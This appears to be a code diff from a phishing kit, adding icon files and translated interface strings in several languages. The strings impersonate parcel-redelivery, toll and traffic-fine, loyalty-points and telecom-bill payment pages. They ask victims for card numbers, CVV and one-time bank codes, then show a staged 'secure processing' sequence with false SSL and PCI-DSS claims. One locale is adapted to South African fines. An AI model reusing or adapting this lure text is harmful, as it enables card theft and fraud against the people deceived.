d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
/>
</svg>
</template>

View File

@@ -0,0 +1,19 @@
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
<template>
<svg
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
aria-hidden="true"
role="img"
class="iconify iconify--mdi"
width="24"
height="24"
preserveAspectRatio="xMidYMid meet"
viewBox="0 0 24 24"
>
<path
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
fill="currentColor"
></path>
</svg>
</template>

View File

@@ -0,0 +1,132 @@
export default {
"There is an error in this field, please check": "Υπάρχει σφάλμα σε αυτό το πεδίο, παρακαλούμε ελέγξτε",
"Please enter a valid email address": "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Αγαπητοί χρήστες, παρακαλούμε συμπληρώστε προσεκτικά την φόρμα για να εξασφαλίσετε την επιτυχή παράδοση",
"Your Name": "Το όνομά σας",
"Address": "Διεύθυνση",
"Detailed Address": "Λεπτομερής Διεύθυνση",
"(Optional)": "(Προαιρετικό)",
"City": "Πόλη",
"State": "Πολιτεία",
"Province": "Επαρχία",
"Region": "Περιοχή",
"Zip Code": "Ταχυδρομικός Κώδικας",
"E-Mail": "Ηλεκτρονικό Ταχυδρομείο",
"Next": "Επόμενο",
"Telephone Number": "Αριθμός Τηλεφώνου",
"Online": "Online",
"Payment": "Πληρωμή",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Για εκ νέου παράδοση, πρέπει να χρεώσουμε κάποια τέλη υπηρεσίας. Η αποστολή σας θα παραδοθεί ξανά μετά την πληρωμή",
"lump sum: ": "Εφάπαξ: ",
"Cardholder": "Κάτοχος Κάρτας",
"Card Number": "Αριθμός Κάρτας",
"Expire Date": "Ημερομηνία Λήξης",
"Security Code": "Κωδικός Ασφαλείας",
"Submit": "Υποβολή",
"Click here to receive another code": "Κάντε κλικ εδώ για να λάβετε έναν άλλο κωδικό",
"Please confirm your identity and a one-time code will be sent": "Παρακαλούμε επιβεβαιώστε την ταυτότητά σας και θα σας αποσταλεί ένας κωδικός μιας χρήσης στο κινητό σας ή τη διεύθυνση email σας. Εισάγετε τον κωδικό επαλήθευσης εδώ",
"The verification code has been sent to": "Ο κωδικός επαλήθευσης έχει σταλεί στο",
"Please do not click the": "Παρακαλούμε μην κάνετε κλικ στα κουμπιά 'Ανανέωση' ή 'Πίσω' καθώς αυτό μπορεί να τερματίσει την συναλλαγή σας",
"Verification code error, please try again": "Σφάλμα κωδικού επαλήθευσης, παρακαλώ προσπαθήστε ξανά",
"The session is about to expire, please complete the verification now": "Η συνεδρία πρόκειται να λήξει, παρακαλούμε ολοκληρώστε την επαλήθευση τώρα",
"This card does not support this transaction, please try another card": "Αυτή η κάρτα δεν υποστηρίζει αυτήν τη συναλλαγή, παρακαλούμε δοκιμάστε μια άλλη κάρτα",
"Authorized bank": "Εξουσιοδοτημένη Τράπεζα",
"Please go to the bank App to confirm the authorization": "Παρακαλούμε μεταβείτε στην εφαρμογή της τράπεζας για να επιβεβαιώσετε την εξουσιοδότηση",
"Please do not close this page": "Παρακαλούμε μην κλείσετε αυτήν την σελίδα",
"Payment Successful": "Η Πληρωμή Στεφάνθηκε Επιτυχώς!",
"Thank you for your purchase. Your payment has been processed successfully": "Σας ευχαριστούμε για την αγορά σας. Η πληρωμή σας έχει επεξεργαστεί με επιτυχία",
"Mailing address": "Διεύθυνση Αποστολής",
"street address or house number": "Διεύθυνση Οδού ή Αριθμός Σπιτιού",
"Apartment number": "Αριθμός Διαμερίσματος, Αριθμός Δωματίου κ.λπ.",
"Safe payment": "Ασφαλής Πληρωμή",
"Verification code": "Κωδικός Επαλήθευσης",
"Welcome": "Καλώς ήρθατε",
"back": "Πίσω!",
"We reward you for using point services": "Σας επιβραβεύουμε για τη χρήση των υπηρεσιών πόντων",
"Check your points": "Ελέγξτε τους πόντους σας",
"Phone number": "Αριθμός Τηλεφώνου",
"Inquire": "Ρωτήστε",
"Exchange": "Ανταλλαγή",
"Spend points": "Ξοδέψτε Πόντους",
"Points Available": "Διαθέσιμοι Πόντοι",
"You don't have enough points": "Δεν έχετε αρκετούς πόντους",
"Please redeem your favorite product": "Παρακαλούμε εξαργυρώστε το αγαπημένο σας προϊόν",
"Confirm your shipping address": "Επιβεβαιώστε τη διεύθυνση αποστολής σας",
"Order number": "Αριθμός Παραγγελίας: ",
"Pay": "Πληρωμή",
"Pay Message": "Πληρώστε {0} για να εξαργυρώσετε πόντους για προϊόντα",
"Pay electronic tolls online": "Πληρώστε τα ηλεκτρονικά διόδια online",
"your electronic toll payment was unsuccessful": "Η πληρωμή των ηλεκτρονικών διοδίων απέτυχε.",
"Billing Information": "Πληροφορίες Τιμολόγησης",
"Description": "Περιγραφή",
"Dear customer": "Αγαπητέ πελάτη:",
"Electronic Communications Charge Payment Failed": "Η Πληρωμή Χρέωσης Ηλεκτρονικών Επικοινωνιών Απέτυχε",
"Invoice Number": "Αριθμός Τιμολογίου",
"Amount": "Ποσό",
"Pay Immediately": "Πληρώστε Άμεσα",
"Phone Number": "Αριθμός Τηλεφώνου",
"Electronic communication fee payment failed": "Η πληρωμή για το τέλος ηλεκτρονικής επικοινωνίας απέτυχε",
"Illustrate": "Επεξηγήστε",
"SSL Encryption": "Κρυπτογράφηση SSL",
"PCI-DSS Certified": "Πιστοποιημένο PCI-DSS",
"Transaction Details": "Λεπτομέρειες Συναλλαγής",
"Transaction ID:": "Αριθμός Συναλλαγής:",
"Processing Network:": "Δίκτυο Επεξεργασίας:",
"Processing Time:": "Χρόνος Επεξεργασίας:",
"Security Level:": "Επίπεδο Ασφαλείας:",
"Preparing...": "Προετοιμασία...",
"High": "Υψηλό",
"Initializing payment environment...": "Αρχικοποίηση περιβάλλοντος πληρωμής...",
"Encrypting card information...": "Κρυπτογράφηση πληροφοριών κάρτας...",
"Establishing secure connection...": "Δημιουργία ασφαλούς σύνδεσης...",
"Verifying card number and issuer...": "Επαλήθευση αριθμού κάρτας και εκδότη...",
"Validating CVV code...": "Επαλήθευση κωδικού CVV...",
"Checking fraud risk...": "Έλεγχος κινδύνου απάτης...",
"Sending transaction request...": "Αποστολή αίτησης συναλλαγής...",
"Waiting for bank authorization...": "Αναμονή για εξουσιοδότηση τράπεζας...",
"Processing bank response...": "Επεξεργασία απάντησης τράπεζας...",
"Confirming transaction status...": "Επιβεβαίωση κατάστασης συναλλαγής...",
"Finalizing transaction...": "Ολοκλήρωση συναλλαγής...",
"Visa Secure Network": "Δίκτυο Ασφαλείας Visa",
"Mastercard Global Payment Network": "Παγκόσμιο Δίκτυο Πληρωμών Mastercard",
"American Express Dedicated Channel": "Ειδικό Κανάλι American Express",
"UnionPay Gateway": "Πύλη UnionPay",
"{time} seconds": "{time} δευτερόλεπτα",
"International Payment Network": "Διεθνές Δίκτυο Πληρωμών",
"Homepage License Plate": "Πινακίδα Αρχικής Σελίδας",
"JCC Smart Cyprus Image": "Εικόνα JCC Smart Κύπρου",
"Check Your Payment Details": "Ελέγξτε τα στοιχεία πληρωμής σας",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Εισαγάγετε τον αριθμό κυκλοφορίας του οχήματός σας για να επαληθεύσετε τον λογαριασμό σας και να εξασφαλίσετε την έγκαιρη πληρωμή των διοδίων ώστε να αποφύγετε πρόστιμα.",
"Enter license plate number (e.g. XYZ1234)": "Εισαγάγετε τον αριθμό κυκλοφορίας (π.χ. XYZ1234)",
"Verify Payment Details": "Έλεγχος Στοιχείων Πληρωμής",
"Toll Payment": "Πληρωμή Διοδίων",
"License Plate Number": "Αριθμός Κυκλοφορίας",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Πληροφορίες για παραβάσεις κυκλοφορίας (π.χ. χρήση κινητού τηλεφώνου κατά την οδήγηση). Πρώτη παράβαση <strong>50€</strong>, δεύτερη παράβαση <strong>150€</strong>, και ούτω καθεξής.",
"Tolls": "Διόδια",
"Due Date": "Ημερομηνία Λήξης",
"Fine Amount": "Ποσό προστίμου",
"Pay Now": "Πληρώστε Τώρα",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Σημειώστε ότι, λόγω μη έγκαιρης πληρωμής, αυτή η συναλλαγή είναι έγκυρη μόνο για πληρωμές με πιστωτική κάρτα.",
"Cardholder Name": "Όνομα Κατόχου Κάρτας",
"First and Last Name": "Όνομα και Επώνυμο",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Ημερομηνία Λήξης",
"MM/YY": "MM/ΕΕ",
"123(CVV)": "123(CVV)",
"Card Icon": "Εικονίδιο Κάρτας",
"CVV": "CVV",
"Successful Toll Payment": "Επιτυχής Πληρωμή Διοδίων",
"Thank you for your payment. The tolls have been processed successfully.": "Σας ευχαριστούμε για την πληρωμή σας. Τα διόδια έχουν διεκπεραιωθεί με επιτυχία.",
"Phone": "Τηλέφωνο",
"Toll Amount": "Ποσό Διοδίων",
"50.00 EUR": "50.00 EUR"
};

View File

@@ -0,0 +1,96 @@
export default {
"There is an error in this field, please check": "Der er en fejl i dette felt, venligst tjek",
"Please enter a valid email address": "Indtast venligst en gyldig e-mailadresse",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kære brugere, udfyld venligst formularen omhyggeligt for at sikre vellykket levering",
"Your Name": "Dit navn",
"Address": "Adresse",
"Detailed Address": "Detaljeret adresse",
"(Optional)": "(Valgfrit)",
"City": "By",
"State": "Stat",
"Province": "Provins",
"Region": "Region",
"Zip Code": "Postnummer",
"E-Mail": "E-mail",
"Next": "Næste",
"Telephone Number": "Telefonnummer",
"Online": "Online",
"Payment": "Betaling",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
"lump sum: ": "Engangsbeløb: ",
"Cardholder": "Kortholder",
"Card Number": "Kortnummer",
"Expire Date": "Udløbsdato",
"Security Code": "Sikkerhedskode",
"Submit": "Indsend",
"Click here to receive another code": "Klik her for at modtage en ny kode",
"Please confirm your identity and a one-time code will be sent": "Bekræft venligst din identitet, og en engangskode vil blive sendt til dit mobilnummer eller e-mailadresse. Indtast venligst bekræftelseskoden her",
"The verification code has been sent to": "Bekræftelseskoden er sendt til",
"Please do not click the": "Klik venligst ikke på 'Opdater' eller 'Tilbage' knapperne, da dette kan afbryde eller afslutte din transaktion",
"Verification code error, please try again": "Fejl i bekræftelseskode, prøv venligst igen",
"The session is about to expire, please complete the verification now": "Sessionen er ved at udløbe, udfør venligst bekræftelsen nu",
"This card does not support this transaction, please try another card": "Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
"Authorized bank": "Autoriseret bank",
"Please go to the bank App to confirm the authorization": "Gå venligst til bank-appen for at bekræfte godkendelsen",
"Please do not close this page": "Luk venligst ikke denne side",
"Payment Successful": "Betaling lykkedes!",
"Thank you for your purchase. Your payment has been processed successfully": "Tak for dit køb. Din betaling er behandlet korrekt",
"Mailing address": "Postadresse",
"street address or house number": "Gadeadresse eller husnummer",
"Apartment number": "Lejlighedsnummer, værelsesnummer osv.",
"Safe payment": "Sikker betaling",
"Verification code": "Bekræftelseskode",
"Welcome": "Velkommen",
"back": "tilbage!",
"We reward you for using point services": "Vi belønner dig for at bruge pointtjenester",
"Check your points": "Tjek dine point",
"Phone number": "Telefonnummer",
"Inquire": "Forespørg",
"Exchange": "Byt",
"Spend points": "Brug point",
"Points Available": "Tilgængelige point",
"You don't have enough points": "Du har ikke nok point",
"Please redeem your favorite product": "Indløs venligst dit yndlingsprodukt",
"Confirm your shipping address": "Bekræft din forsendelsesadresse",
"Order number": "Ordrenummer: ",
"Pay": "Betal",
"Pay Message": "Betal {0} for at indløse point til varer",
"Pay electronic tolls online": "Betal elektroniske vejafgifter online",
"your electronic toll payment was unsuccessful": "Din betaling af elektronisk vejafgift mislykkedes.",
"Billing Information": "Faktureringsoplysninger",
"Description": "Beskrivelse",
"Dear customer": "Kære kunde:",
"Electronic Communications Charge Payment Failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
"Invoice Number": "Fakturanummer",
"Amount": "Beløb",
"Pay Immediately": "Betal straks",
"Phone Number": "Telefonnummer",
"Electronic communication fee payment failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
"Illustrate": "Illustrer",
"SSL Encryption": "SSL-kryptering",
"PCI-DSS Certified": "PCI-DSS-certificeret",
"Transaction Details": "Transaktionsdetaljer",
"Transaction ID:": "Transaktions-ID:",
"Processing Network:": "Behandlingsnetværk:",
"Processing Time:": "Behandlingstid:",
"Security Level:": "Sikkerhedsniveau:",
"Preparing...": "Forbereder...",
"High": "Høj",
"Initializing payment environment...": "Initialiserer betalingsmiljø...",
"Encrypting card information...": "Krypterer kortoplysninger...",
"Establishing secure connection...": "Etablerer sikker forbindelse...",
"Verifying card number and issuer...": "Bekræfter kortnummer og udsteder...",
"Validating CVV code...": "Validerer CVV-kode...",
"Checking fraud risk...": "Tjekker svindelrisiko...",
"Sending transaction request...": "Sender transaktionsanmodning...",
"Waiting for bank authorization...": "Venter på bankgodkendelse...",
"Processing bank response...": "Behandler banksvar...",
"Confirming transaction status...": "Bekræfter transaktionsstatus...",
"Finalizing transaction...": "Afslutter transaktion...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Globalt Betalingsnetværk",
"American Express Dedicated Channel": "American Express Dedikeret Kanal",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} sekunder",
"International Payment Network": "Internationalt Betalingsnetværk"
}

View File

@@ -0,0 +1,150 @@
export default {
"There is an error in this field, please check": "There is an error in this field, please check",
"Please enter a valid email address": "Please enter a valid email address",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Dear users, please fill in the form carefully to ensure successful delivery",
"Your Name": "Your Name",
"Address": "Address",
"Detailed Address": "Detailed Address",
"(Optional)": "(Optional)",
"City": "City",
"State": "State",
"Province": "Province",
"Region": "Region",
"Zip Code": "Postal Code",
"E-Mail": "Email",
"Next": "Next",
"Telephone Number": "Phone Number",
"Online": "Online",
"Payment": "Payment",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "For redelivery, a service fee is required. Your package will be dispatched after payment is confirmed.",
"lump sum: ": "Total Amount: ",
"Cardholder": "Cardholder Name",
"Card Number": "Card Number",
"Expire Date": "Expiry Date",
"Security Code": "Security Code (CVV)",
"Submit": "Submit",
"Click here to receive another code": "Click here to receive a new code",
"Please confirm your identity and a one-time code will be sent": "Please confirm your identity; a one-time PIN (OTP) will be sent to your phone or email. Enter the code here.",
"The verification code has been sent to": "The verification code has been sent to",
"Please do not click the": "Please do not click 'Refresh' or 'Back' as it may interrupt the transaction.",
"Verification code error, please try again": "Verification code error, please try again",
"The session is about to expire, please complete the verification now": "The session is about to expire, please complete the verification now",
"This card does not support this transaction, please try another card": "This card does not support this transaction, please try another card",
"Authorized bank": "Authorized Bank",
"Please go to the bank App to confirm the authorization": "Please go to your bank app to confirm the authorization",
"Please do not close this page": "Please do not close this page",
"Payment Successful": "Payment Successful!",
"Thank you for your purchase. Your payment has been processed successfully": "Thank you. Your payment has been processed successfully.",
"Mailing address": "Shipping Address",
"street address or house number": "Street address or house number",
"Apartment number": "Apartment, suite, unit, etc.",
"Safe payment": "Secure Payment",
"Verification code": "Verification Code",
"Welcome": "Welcome",
"back": "Back",
"We reward you for using point services": "We reward you for using our points services",
"Check your points": "Check your points balance",
"Phone number": "Phone Number",
"Inquire": "Inquire",
"Exchange": "Redeem",
"Spend points": "Spend Points",
"Points Available": "Points Available",
"You don't have enough points": "Inadequate points balance",
"Please redeem your favorite product": "Please redeem your preferred reward",
"Confirm your shipping address": "Confirm delivery address",
"Order number": "Order Number: ",
"Pay": "Pay",
"Pay Message": "Pay {0} to redeem your points for rewards",
"Pay electronic tolls online": "Pay electronic tolls online",
"your electronic toll payment was unsuccessful": "Your toll payment was unsuccessful.",
"Billing Information": "Billing Information",
"Description": "Description",
"Dear customer": "Dear Customer:",
"Electronic Communications Charge Payment Failed": "Electronic Communications payment failed",
"Invoice Number": "Notice / Invoice Number",
"Amount": "Amount",
"Pay Immediately": "Pay Immediately",
"Phone Number": "Phone Number",
"Electronic communication fee payment failed": "Electronic communication fee payment failed",
"Illustrate": "Details",
"SSL Encryption": "SSL Encryption",
"PCI-DSS Certified": "PCI-DSS Certified",
"Transaction Details": "Transaction Details",
"Transaction ID:": "Transaction ID:",
"Processing Network:": "Processing Network:",
"Processing Time:": "Processing Time:",
"Security Level:": "Security Level:",
"Preparing...": "Preparing...",
"High": "High",
"Initializing payment environment...": "Initializing secure payment environment...",
"Encrypting card information...": "Encrypting card information...",
"Establishing secure connection...": "Establishing secure connection...",
"Verifying card number and issuer...": "Verifying card number and issuer...",
"Validating CVV code...": "Validating CVV code...",
"Checking fraud risk...": "Checking fraud risk...",
"Sending transaction request...": "Sending transaction request...",
"Waiting for bank authorization...": "Waiting for bank authorization...",
"Processing bank response...": "Processing bank response...",
"Confirming transaction status...": "Confirming transaction status...",
"Finalizing transaction...": "Finalizing transaction...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
"American Express Dedicated Channel": "American Express Dedicated Channel",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} seconds",
"International Payment Network": "International Payment Network",
"Homepage License Plate": "Vehicle Registration",
"JCC Smart Cyprus Image": "Security Image",
"Check Your Payment Details": "Check Your Payment Details",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Enter your vehicle's license plate number to verify your account and ensure timely payment to avoid penalties.",
"Enter license plate number (e.g. XYZ1234)": "Enter license plate number (e.g. ABC 123 GP)",
"Verify Payment Details": "Verify Payment Details",
"Toll Payment": "Toll / Fine Payment",
"License Plate Number": "License Plate Number",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Traffic violation info (e.g., speeding). First violation <strong>R400</strong>, second violation <strong>R600</strong>, etc.",
"Tolls": "Fines / Tolls",
"Due Date": "Due Date",
"Fine Amount": "Fine Amount",
"Pay Now": "Pay Now",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Please note: due to late payment, this transaction only accepts credit card payments.",
"Cardholder Name": "Cardholder Name",
"First and Last Name": "First and Last Name",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Expiration Date",
"MM/YY": "MM/YY",
"123(CVV)": "123 (CVV)",
"Card Icon": "Card Icon",
"CVV": "CVV",
"Successful Toll Payment": "Payment Successful",
"Thank you for your payment. The tolls have been processed successfully.": "Thank you. Your infringement / toll payment has been processed successfully.",
"Phone": "Phone",
"Toll Amount": "Total Amount",
payment_loading: {
modal_title: "Processing Payment",
modal_subtitle: "Please do not close this page",
transaction_details: "Transaction Details",
transaction_id: "Transaction ID:",
processing_network: "Processing Network:",
processing_time: "Processing Time:",
security_level: "Security Level:",
preparing: "Preparing...",
high: "High",
step_init: "Initializing payment environment...",
step_encrypt: "Encrypting card information...",
step_connect: "Establishing secure connection...",
step_verify_card: "Verifying card number and issuer...",
step_validate_cvv: "Validating CVV code...",
step_fraud: "Checking fraud risk...",
step_send: "Sending transaction request...",
step_wait_auth: "Waiting for bank authorization...",
step_process_resp: "Processing bank response...",
step_confirm: "Confirming transaction status...",
step_finalize: "Finalizing transaction...",
network_visa: "Visa Secure Network",
network_mastercard: "Mastercard Global Payment Network",
network_amex: "American Express Dedicated Channel",
network_unionpay: "UnionPay Payment Channel",
network_intl: "International Payment Network",
time_seconds: "{time} seconds",
},
};

View File

@@ -0,0 +1,122 @@
export default {
"There is an error in this field, please check": "Hay un error en este campo, por favor verifique",
"Please enter a valid email address": "Por favor, introduzca una dirección de correo electrónico válida",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Estimados usuarios, por favor completen el formulario cuidadosamente para garantizar la entrega exitosa",
"Your Name": "Su nombre",
"Address": "Dirección",
"Detailed Address": "Dirección detallada",
"(Optional)": "(Opcional)",
"City": "Ciudad",
"State": "Estado",
"Province": "Provincia",
"Region": "Región",
"Zip Code": "Código postal",
"E-Mail": "Correo electrónico",
"Next": "Siguiente",
"Telephone Number": "Número de teléfono",
"Online": "En línea",
"Payment": "Pago",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Para la reentrega, necesitamos cobrar algunas tarifas de servicio. Su paquete será reenviado después del pago",
"lump sum: ": "Suma total: ",
"Cardholder": "Titular de la tarjeta",
"Card Number": "Número de tarjeta",
"Expire Date": "Fecha de expiración",
"Security Code": "Código de seguridad",
"Submit": "Enviar",
"Click here to receive another code": "Haga clic aquí para recibir otro código",
"Please confirm your identity and a one-time code will be sent": "Por favor confirme su identidad y se enviará un código de un solo uso a su teléfono o correo electrónico. Ingrese el código de verificación aquí",
"The verification code has been sent to": "El código de verificación ha sido enviado a",
"Please do not click the": "Por favor no haga clic en los botones 'Actualizar' o 'Atrás' ya que esto podría terminar su transacción",
"Verification code error, please try again": "Error en el código de verificación, por favor intente nuevamente",
"The session is about to expire, please complete the verification now": "La sesión está a punto de expirar, por favor complete la verificación ahora",
"This card does not support this transaction, please try another card": "Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta",
"Authorized bank": "Banco autorizado",
"Please go to the bank App to confirm the authorization": "Por favor ingrese a la aplicación bancaria para confirmar la autorización",
"Please do not close this page": "Por favor no cierre esta página",
"Payment Successful": "¡Pago exitoso!",
"Thank you for your purchase. Your payment has been processed successfully": "Gracias por su compra. Su pago se ha procesado con éxito",
"Mailing address": "Dirección postal",
"street address or house number": "Calle o número de casa",
"Apartment number": "Número de apartamento, habitación, etc.",
"Safe payment": "Pago seguro",
"Verification code": "Código de verificación",
"Welcome": "Bienvenido",
"back": "¡Atrás!",
"We reward you for using point services": "Le recompensamos por utilizar servicios de puntos",
"Check your points": "Consultar sus puntos",
"Phone number": "Número de teléfono",
"Inquire": "Consultar",
"Exchange": "Intercambiar",
"Spend points": "Gastar puntos",
"Points Available": "Puntos disponibles",
"You don't have enough points": "No tiene suficientes puntos",
"Please redeem your favorite product": "Por favor canjee su producto favorito",
"Confirm your shipping address": "Confirme su dirección de envío",
"Order number": "Número de pedido: ",
"Pay": "Pagar",
"Pay Message": "Pague {0} para canjear productos con puntos",
"Pay electronic tolls online": "Pagar peajes electrónicos en línea",
"your electronic toll payment was unsuccessful": "Su pago de peaje electrónico no fue exitoso.",
"Billing Information": "Información de facturación",
"Description": "Descripción",
"Dear customer": "Estimado cliente:",
"Electronic Communications Charge Payment Failed": "Error en el pago del cargo por comunicaciones electrónicas",
"Invoice Number": "Número de factura",
"Amount": "Monto",
"Pay Immediately": "Pagar ahora",
"Phone Number": "Número de teléfono",
"Electronic communication fee payment failed": "El pago de la tarifa de comunicación electrónica falló",
"Illustrate": "Ilustrar",
"SSL Encryption": "Cifrado SSL",
"PCI-DSS Certified": "Certificado PCI-DSS",
"Transaction Details": "Detalles de la transacción",
"Transaction ID:": "ID de transacción:",
"Processing Network:": "Red de procesamiento:",
"Processing Time:": "Tiempo de procesamiento:",
"Security Level:": "Nivel de seguridad:",
"Preparing...": "Preparando...",
"High": "Alta",
"Initializing payment environment...": "Inicializando entorno de pago...",
"Encrypting card information...": "Encriptando información de la tarjeta...",
"Establishing secure connection...": "Estableciendo conexión segura...",
"Verifying card number and issuer...": "Verificando número de tarjeta y emisor...",
"Validating CVV code...": "Validando código CVV...",
"Checking fraud risk...": "Comprobando riesgo de fraude...",
"Sending transaction request...": "Enviando solicitud de transacción...",
"Waiting for bank authorization...": "Esperando autorización del banco...",
"Processing bank response...": "Procesando respuesta del banco...",
"Confirming transaction status...": "Confirmando estado de la transacción...",
"Finalizing transaction...": "Finalizando transacción...",
"Visa Secure Network": "Red segura de Visa",
"Mastercard Global Payment Network": "Red global de pagos Mastercard",
"American Express Dedicated Channel": "Canal dedicado American Express",
"UnionPay Gateway": "Pasarela UnionPay",
"{time} seconds": "{time} segundos",
"International Payment Network": "Red de pagos internacional",
"Homepage License Plate": "Placa en la página de inicio",
"JCC Smart Cyprus Image": "Imagen JCC Smart Chipre",
"Check Your Payment Details": "Verifique los detalles de su pago",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ingrese la placa de su vehículo para verificar su cuenta y asegurar el pago oportuno del peaje para evitar multas.",
"Enter license plate number (e.g. XYZ1234)": "Ingrese número de placa (ej. XYZ1234)",
"Verify Payment Details": "Verificar detalles de pago",
"Toll Payment": "Pago de peaje",
"License Plate Number": "Número de placa",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Información sobre infracciones de tráfico (por ejemplo, uso del teléfono móvil al conducir). Primera infracción <strong>50€</strong>, segunda <strong>150€</strong>, y así sucesivamente.",
"Tolls": "Peajes",
"Due Date": "Fecha de vencimiento",
"Fine Amount": "Monto de la multa",
"Pay Now": "Pagar ahora",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Tenga en cuenta que, debido al pago tardío, esta transacción solo es válida para pagos con tarjeta de crédito.",
"Cardholder Name": "Nombre del titular",
"First and Last Name": "Nombre y apellido",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Fecha de expiración",
"MM/YY": "MM/AA",
"123(CVV)": "123(CVV)",
"Card Icon": "Ícono de tarjeta",
"CVV": "CVV",
"Successful Toll Payment": "Pago de peaje exitoso",
"Thank you for your payment. The tolls have been processed successfully.": "Gracias por su pago. Los peajes han sido procesados con éxito.",
"Phone": "Teléfono",
"Toll Amount": "Monto del peaje",
};

View File

@@ -0,0 +1,81 @@
export default {
"There is an error in this field, please check":
"Hiba történt ebben a mezőben, kérjük, ellenőrizze",
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében",
"Your Name": "Az Ön neve",
"Address": "Cím",
"Detailed Address": "Részletes cím",
"(Optional)": "(Opcionális)",
"City": "Város",
"State": "Állam",
"Province": "Megye",
"Region": "Régió",
"Zip Code": "Irányítószám",
"E-Mail": "E-mail",
"Next": "Tovább",
"Telephone Number": "Telefonszám",
"Online": "Online",
"Payment": "Fizetés",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra",
"lump sum: ": "átalányösszeg: ",
"Cardholder": "Kártyatulajdonos",
"Card Number": "Kártyaszám",
"Expire Date": "Lejárati dátum",
"Security Code": "Biztonsági kód",
"Submit": "Küldés",
"Click here to receive another code": "Kattintson ide egy másik kód fogadásához",
"Please confirm your identity and a one-time code will be sent":
"Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot",
"The verification code has been sent to":
"Az ellenőrző kódot elküldtük a következő címre:",
"Please do not click the":
"Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót",
"Verification code error, please try again":
"Ellenőrző kód hiba, kérjük, próbálja újra",
"The session is about to expire, please complete the verification now":
"A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most",
"This card does not support this transaction, please try another card":
"Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
"Authorized bank": "Engedélyezett bank",
"Please go to the bank App to confirm the authorization":
"Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez",
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
"Payment Successful": "Sikeres fizetés!",
"Thank you for your purchase. Your payment has been processed successfully":
"Köszönjük a vásárlást. A fizetése sikeresen feldolgozva",
"Mailing address": "Levelezési cím",
"street address or house number": "utca vagy házszám",
"Apartment number": "Lakásszám, szobaszám stb.",
"Safe payment": "Biztonságos fizetés",
"Verification code": "Ellenőrző kód",
"Welcome": "Üdvözöljük",
"back":"vissza!",
"We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért",
"Check your points": "Ellenőrizze a pontjait",
"Phone number": "Telefonszám",
"Inquire": "Érdeklődés",
"Exchange": "Csere",
"Spend points": "Pontok felhasználása",
"Points Available": "Elérhető pontok",
"You don't have enough points": "Nincs elég pontja",
"Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét",
"Confirm your shipping address": "Erősítse meg szállítási címét",
"Order number": "Rendelésszám: ",
"Pay": "Fizetés",
